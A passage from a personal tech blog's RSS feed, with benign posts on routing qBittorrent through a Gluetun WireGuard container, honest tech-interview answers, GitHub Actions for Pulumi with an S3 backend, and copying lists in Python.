<p>Now we can start up the Gluetun container and verify that it works.</p>
<h2 id="running-the-gluetun-container-and-verifying-wireguard-works">Running the Gluetun Container and Verifying WireGuard Works</h2>
<p>In the same directory as <code>docker-compose.yml</code>, spin up a Gluetun container with <code>docker-compose</code>:</p>
<pre tabindex="0"><code>docker-compose up -d
</code></pre><p>You&rsquo;ll see some output similar to the following:</p>
<pre tabindex="0"><code>[+] Running 4/4
 ✔ gluetun 3 layers [⣿⣿⣿]      0B/0B      Pulled                                                                                                            9.8s
   ✔ 2d35ebdb57d9 Pull complete
   ✔ af8ed9d65cfd Pull complete
   ✔ 55e433daf0d2 Pull complete
[+] Running 2/2
 ✔ Network docker_default  Created
 ✔ Container gluetun       Started
</code></pre><p>For Mullvad VPN specifically there&rsquo;s a way to verify that a connection is going through their servers. We can run a command against the Gluetun container to confirm.</p>
<pre tabindex="0"><code>$ docker exec gluetun wget -qO- https://am.i.mullvad.net/connected
You are connected to Mullvad (server us-lax-wg-602). Your IP address is 23.162.40.236
</code></pre><p>Regardless of VPN provider, you can check that the <code>wget</code> command returns a different IP address from the IP address your internet provider has assigned to you.</p>
<p>Get your normal IP address first by running <code>wget</code> outside of Docker.</p>
<pre tabindex="0"><code>$ wget -qO- https://icanhazip.com/
205.154.229.24
</code></pre><p>Then run the same command against Gluetun to verify that you get a different IP address:</p>
<pre tabindex="0"><code>$ docker exec gluetun wget -qO- https://icanhazip.com/
23.162.40.236
</code></pre><p>If the IP addresses are different, you should be good to go. Now we can start creating containers that use the WireGuard connection through Gluetun.</p>
<h2 id="connecting-another-container-to-gluetun-qbittorrent">Connecting Another Container to Gluetun (qBittorrent)</h2>
<p>I&rsquo;ll be using a qBittorrent container as an example as that is a common use case with WireGuard. People love their Linux ISOs. Adding containers is easy as we just need to append to the existing <code>docker-compose.yml</code> file.</p>
<p>First, create some directories that qBittorrent will need for configuration and downloads:</p>
<pre tabindex="0"><code>$ mkdir -p /volume1/docker/qbittorrent/config
$ mkdir -p /volume1/docker/qbittorrent/downloads
</code></pre><p>Then update <code>docker-compose.yml</code> like so:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="hl"><span class="lnt">14
</span></span><span class="hl"><span class="lnt">15
</span></span><span class="hl"><span class="lnt">16
</span></span><span class="hl"><span class="lnt">17
</span></span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="hl"><span class="lnt">21
</span></span><span class="hl"><span class="lnt">22
</span></span><span class="hl"><span class="lnt">23
</span></span><span class="hl"><span class="lnt">24
</span></span><span class="hl"><span class="lnt">25
</span></span><span class="hl"><span class="lnt">26
</span></span><span class="hl"><span class="lnt">27
</span></span><span class="hl"><span class="lnt">28
</span></span><span class="hl"><span class="lnt">29
</span></span><span class="hl"><span class="lnt">30
</span></span><span class="hl"><span class="lnt">31
</span></span><span class="hl"><span class="lnt">32
</span></span><span class="hl"><span class="lnt">33
</span></span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">gluetun</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">qmcgaw/gluetun:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">gluetun</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">cap_add</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">NET_ADMIN</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">TZ=America/Los_Angeles</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">VPN_SERVICE_PROVIDER=mullvad</span><span class="w"> </span><span class="c"># change as needed</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">VPN_TYPE=wireguard</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">WIREGUARD_PRIVATE_KEY=dGhpcyBoYXMgYmVlbiByZWRhY3RlZA==</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">WIREGUARD_ADDRESSES=10.67.205.85/32</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">SERVER_CITIES=Los Angeles CA</span><span class="w"> </span><span class="c"># change as needed</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">      </span>- <span class="m">8080</span><span class="p">:</span><span class="m">8080</span><span class="l">/tcp</span><span class="w"> </span><span class="c"># qBittorrent WebUI</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">      </span>- <span class="m">6881</span><span class="p">:</span><span class="m">6881</span><span class="l">/tcp</span><span class="w"> </span><span class="c"># qBittorrent torrenting</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">      </span>- <span class="m">6881</span><span class="p">:</span><span class="m">6881</span><span class="l">/udp</span><span class="w"> </span><span class="c"># qBittorrent torrenting</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/volume1/docker/gluetun:/gluetun</span><span class="w"> </span><span class="c"># edit if your directory is something other than `volume1`</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">unless-stopped</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">  </span><span class="nt">qbittorrent</span><span class="p">:</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">linuxserver/qbittorrent:latest</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">qb</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">    </span><span class="nt">network_mode</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;service:gluetun&#34;</span><span class="w"> </span><span class="c"># route all traffic through Gluetun (WireGuard)</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">      </span>- <span class="l">TZ=America/Los_Angeles</span><span class="w"> </span><span class="c"># change as needed</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">      </span>- <span class="l">WEBUI_PORT=8080</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">      </span>- <span class="l">/volume1/docker/qbittorrent:/config</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">      </span>- <span class="l">/volume1/docker/qbittorrent/downloads:/downloads</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">    </span><span class="nt">depends_on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">      </span>- <span class="l">gluetun</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">always</span></span></span></code></pre></td></tr></table>
</blockquote>
<p>Then run:</p>
<pre tabindex="0"><code>docker-compose up -d
</code></pre><p>You&rsquo;ll see output similar to:</p>
<pre tabindex="0"><code>[+] Running 11/11
 ✔ qbittorrent 10 layers [⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿]      0B/0B      Pulled
   ✔ 7b8aceaf0e4b Pull complete
   ✔ f6a4c3e338ed Pull complete
   ✔ 52f3b2f8d37e Pull complete
   ✔ b4ab7931093f Pull complete
   ✔ ca62986f3af9 Pull complete
   ✔ 34ebc4f55bf4 Pull complete
   ✔ 3bd5231a1430 Pull complete
   ✔ c3f2c6c748f6 Pull complete
   ✔ 11edf950eb5f Pull complete
   ✔ 9e67070a5e7e Pull complete
[+] Running 2/2
 ✔ Container gluetun  Started
 ✔ Container qb       Started
</code></pre><p>qBittorrent has a web interface that can be accessed on port <code>8080</code>. Open up a web browser and go to <code>http://&lt;your-synology-ip-address&gt;:8080</code> and see if the web UI shows up. If it does, qBittorrent is running successfully and all of its network traffic will run through Gluetun and WireGuard!</p>
<p>We can do one final check with the qBittorrent container to make sure it has the same IP address as the Gluetun container:</p>
<pre tabindex="0"><code>$ docker exec gluetun wget -qO- https://icanhazip.com/
23.162.40.236

$ docker exec qb wget -qO- https://icanhazip.com/
23.162.40.236
</code></pre><p>Both IP addresses are the same, which means qBittorrent is running through Gluetun and through a WireGuard connection. Everything works!</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://github.com/qdm12/gluetun" target="_blank" rel="noopener">https://github.com/qdm12/gluetun</a></li>
<li>

<a href="https://github.com/qdm12/gluetun-wiki/blob/main/setup/providers/mullvad.md" target="_blank" rel="noopener">https://github.com/qdm12/gluetun-wiki/blob/main/setup/providers/mullvad.md</a></li>
<li>

<a href="https://docs.linuxserver.io/images/docker-qbittorrent/" target="_blank" rel="noopener">https://docs.linuxserver.io/images/docker-qbittorrent/</a></li>
<li>a lot of trial and error</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>What I Actually Want To Say in Tech Interviews</title>
      <link>https://nelson.cloud/what-i-actually-want-to-say-in-tech-interviews/?ref=rss</link>
      <pubDate>Mon, 29 Dec 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/what-i-actually-want-to-say-in-tech-interviews/?ref=rss</guid>
      <description>Honest answers to common interview questions in the tech field.</description><content:encoded><![CDATA[<p><strong>&gt; &ldquo;Why do you want to work for our company?&rdquo;</strong></p>
<p>Your company has an opening that I believe I am qualified for that also pays more than my current position. I also need money to pay for bills, groceries, rent, and the overall cost of being alive.</p>
<p><strong>&gt; &ldquo;Why are you leaving your current company?&rdquo;</strong></p>
<p>I found a job opening at your company that pays more than my current role.</p>
<p><strong>&gt; &ldquo;What are you looking for in the next role?&rdquo;</strong></p>
<p>A big pay bump. Opportunities to become better at software engineering would be cool too.</p>
<p><strong>&gt; &ldquo;What excites you about this role?&rdquo;</strong></p>
<p>Two things:</p>
<ol>
<li>This position at your company pays more than my current role.</li>
<li>There may be more opportunities to grow as a software engineer. But mostly the first reason.</li>
</ol>
<p><strong>&gt; &ldquo;What are your salary expectations?&rdquo;</strong></p>
<p>Whatever the maximum of the salary range is for this position.</p>
<p><strong>&gt; &ldquo;Where do you see yourself in 5 years?&rdquo;</strong></p>
<p>If the compensation for this position increases year to year and is in line with other top paying companies, I see myself staying at your company. It also helps if there are growth opportunities for me as a software engineer.</p>
<p>Otherwise, I see myself at a different company from yours that pays more.</p>
<hr>
<p>On a more serious note&hellip;</p>
<p>Don&rsquo;t get me wrong, growing as a software engineer is still important to me. I want to work with great people and build cool things. It just sucks that I have to lie during interviews because honesty would get me disqualified. Doing 4+ rounds of interviews is already exhausting enough.</p>
]]></content:encoded>
    </item>
    <item>
      <title>GitHub Actions for Pulumi with an AWS S3 Backend</title>
      <link>https://nelson.cloud/github-actions-for-pulumi-with-an-aws-s3-backend/?ref=rss</link>
      <pubDate>Thu, 11 Dec 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/github-actions-for-pulumi-with-an-aws-s3-backend/?ref=rss</guid>
      <description>How to set up GitHub Actions for Pulumi when the state is stored in an AWS S3 Bucket.</description><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>This is a quick guide to set up GitHub Actions for Pulumi with an 

<a href="https://aws.amazon.com/s3/" target="_blank" rel="noopener">AWS S3</a> Backend. There are some differences compared to running <code>pulumi</code> commands locally. This guide assumes you have the following:</p>
<ul>
<li>An AWS S3 Bucket created and ready to be used with Pulumi</li>
<li>An IAM User that has permissions to read/write to the S3 bucket</li>
<li>The Access Key and Secret Access Key for the IAM User to use for authenticating to AWS within GitHub Actions</li>
<li>A passphrase of your choosing that will be used to encrypt secrets in the pulumi stack</li>
<li>A GitHub repository</li>
</ul>
<h2 id="setting-up-repository-secrets">Setting up Repository Secrets</h2>
<p>First, set up secrets on your GitHub repository. These will be filled in by GitHub Actions once we create a workflow YAML. You&rsquo;ll need to create 3 secrets. You can name them whatever you want, but I&rsquo;ll be naming them:</p>
<ul>
<li><code>AWS_ACCESS_KEY_ID</code></li>
<li><code>AWS_SECRET_ACCESS_KEY</code></li>
<li><code>PULUMI_CONFIG_PASSPHRASE</code></li>
</ul>
<p>You can create these by browsing to your GitHub repository &gt; Settings &gt; Secrets and variables &gt; Actions. There are &ldquo;Environment secrets&rdquo; and &ldquo;Repository secrets&rdquo;. In this case go with &ldquo;Repository secrets&rdquo;.</p>
<p>Create the three secrets and fill in their respective values. <code>PULUMI_CONFIG_PASSPHRASE</code> can be whatever you want and doesn&rsquo;t come from AWS.</p>
<blockquote><p><strong>Warning:</strong></p>Make sure you don&rsquo;t change this passphrase after the fact, or your Pulumi state may break.</blockquote>

<p>The end result should look like this:</p>
<img src="/github-actions-with-pulumi-s3/github-secrets.webp" alt="GitHub repository secrets showing AWS credentials and Pulumi passphrase" width="3096" height="1708" style="max-width: 100%; height: auto; aspect-ratio: 774 / 427;" loading="lazy" decoding="async">
<h2 id="defining-the-github-actions-workflow">Defining the GitHub Actions Workflow</h2>
<p>Next, clone the repository locally with <code>git clone</code>. We&rsquo;ll need to create a few files for a minimum viable Pulumi program. Run <code>pulumi new</code> and it&rsquo;ll guide you through the creation of a basic Pulumi program. The language you choose doesn&rsquo;t matter.</p>
<p>Then we can create the YAML file to set up GitHub Actions. Create a YAML file under <code>&lt;your-repository-name&gt;/.github/workflows/</code>. I&rsquo;ll call it <code>preview.yml</code> in my example. Fill it in with the following YAML, changing values as needed.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Pulumi</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">push</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">branches</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">main</span><span class="w"> </span><span class="c"># change this if you&#39;re using a different branch name</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">jobs</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">preview</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Preview</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">runs-on</span><span class="p">:</span><span class="w"> </span><span class="l">ubuntu-latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">steps</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">uses</span><span class="p">:</span><span class="w"> </span><span class="l">actions/checkout@v4</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Pulumi Preview</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">uses</span><span class="p">:</span><span class="w"> </span><span class="l">pulumi/actions@v6.6.1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">with</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="l">preview</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">stack-name</span><span class="p">:</span><span class="w"> </span><span class="l">dev</span><span class="w"> </span><span class="c"># change this to your stack&#39;s name (or whatever you want it to be if it doesn&#39;t exist)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">cloud-url</span><span class="p">:</span><span class="w"> </span><span class="l">s3://nelson-test-bucket-for-github-actions</span><span class="w"> </span><span class="c"># change this to your bucket name to be used as a pulumi backend</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">upsert</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w"> </span><span class="c"># creates a stack if it doesn&#39;t exist (along with Pulumi.&lt;stack&gt;.yaml)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">env</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">AWS_ACCESS_KEY_ID</span><span class="p">:</span><span class="w"> </span><span class="l">${{ secrets.AWS_ACCESS_KEY_ID }}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">AWS_SECRET_ACCESS_KEY</span><span class="p">:</span><span class="w"> </span><span class="l">${{ secrets.AWS_SECRET_ACCESS_KEY }}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">PULUMI_CONFIG_PASSPHRASE</span><span class="p">:</span><span class="w"> </span><span class="l">${{ secrets.PULUMI_CONFIG_PASSPHRASE }}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">AWS_REGION</span><span class="p">:</span><span class="w"> </span><span class="l">us-east-1</span><span class="w"> </span><span class="c"># change the region as needed</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>This runs a <code>pulumi preview</code> so it&rsquo;ll verify that everything is set up correctly without actually deploying anything.</p>
<h2 id="testing-the-workflow">Testing the Workflow</h2>
<p>Now push your code to GitHub and see if the GitHub Action workflow ran successfully. You should see output from a successful <code>pulumi preview</code>.</p>
<img src="/github-actions-with-pulumi-s3/github-actions-logs.webp" alt="GitHub Actions workflow logs showing successful Pulumi preview" width="2854" height="1632" style="max-width: 100%; height: auto; aspect-ratio: 1427 / 816;" loading="lazy" decoding="async">
<p>If this works, you should be good to go. You can update your Pulumi code and change <code>command: preview</code> to <code>command: up</code> in the GitHub Actions YAML file and run it again to actually deploy some infrastructure.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://github.com/pulumi/actions" target="_blank" rel="noopener">https://github.com/pulumi/actions</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>How to Actually Copy a List in Python</title>
      <link>https://nelson.cloud/how-to-actually-copy-a-list-in-python/?ref=rss</link>
      <pubDate>Sat, 18 Oct 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/how-to-actually-copy-a-list-in-python/?ref=rss</guid>
      <description>Copy a list in Python using the copy() method, not the assignment operator.</description><content:encoded><![CDATA[<blockquote><p><strong>tl;dr:</strong></p><p>Use the <code>copy()</code> method.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="n">list_b</span><span class="o">.</span><span class="n">copy</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>If the list has other lists in it, import <code>copy</code> and use <code>copy.deepcopy()</code> to get fully independent lists.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">copy</span>
</span></span><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="n">copy</span><span class="o">.</span><span class="n">deepcopy</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<h2 id="simple-lists">Simple Lists</h2>
<p>Say we have two Python lists &ndash; <code>list_a</code> and <code>list_b</code>.</p>
<p>If we try to make a copy of <code>list_a</code> and assign it to <code>list_b</code> using the assignment operator <code>=</code>, what really happens is that both <code>list_a</code> and <code>list_b</code> point to the same memory address.</p>
<p>That means that any list-manipulating actions that are done on either <code>list_a</code> or <code>list_b</code> will affect the same list in memory. We don&rsquo;t actually have two separate lists we can act upon.</p>
<p>In the example below, although we append the integer <code>4</code> to <code>list_a</code>, we can see that printing out <code>list_b</code> shows the newly added element. That&rsquo;s because both list variables point to the same memory address:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="n">list_a</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span> <span class="c1"># [1, 2, 3]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_a</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span> <span class="c1"># [1, 2, 3, 4]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output of the program above:</p>
<pre tabindex="0"><code>[1, 2, 3]
[1, 2, 3, 4]
</code></pre><p>To make an actual copy, use the <code>copy()</code> method. Then, when <code>list_a</code> is modified, it is independent of <code>list_b</code>, because <code>list_b</code> is stored in a separate memory address.</p>
<p>Now if we append the same integer <code>4</code> to <code>list_a</code>, <code>list_b</code> will be completely unaffected.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="n">list_a</span><span class="o">.</span><span class="n">copy</span><span class="p">()</span> <span class="c1"># using copy()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span> <span class="c1"># [1, 2, 3]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_a</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">list_a</span><span class="p">)</span> <span class="c1"># [1, 2, 3, 4]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span> <span class="c1"># [1, 2, 3]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output of the program above:</p>
<pre tabindex="0"><code>[1, 2, 3]
[1, 2, 3, 4]
[1, 2, 3]
</code></pre><p>Here&rsquo;s more proof. We can print out the memory address of each variable to see when they&rsquo;re the same and when they differ. We can do this using the <code>id()</code> function.</p>
<p>Here are the same lists from above but this time with their unique identifiers printed out. In this case, the IDs match because both <code>list_a</code> and <code>list_b</code> point to the same memory address.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="n">list_a</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;list_a address: </span><span class="si">{</span><span class="nb">id</span><span class="p">(</span><span class="n">list_a</span><span class="p">)</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;list_b address: </span><span class="si">{</span><span class="nb">id</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The program above outputs:</p>
<pre tabindex="0"><code>list_a address: 140226819497536
list_b address: 140226819497536
</code></pre><p>The memory addresses are the same.</p>
<p>Now let&rsquo;s try the same thing but using the <code>copy()</code> method instead of just an assignment operation with <code>=</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="n">list_a</span><span class="o">.</span><span class="n">copy</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;list_a address: </span><span class="si">{</span><span class="nb">id</span><span class="p">(</span><span class="n">list_a</span><span class="p">)</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
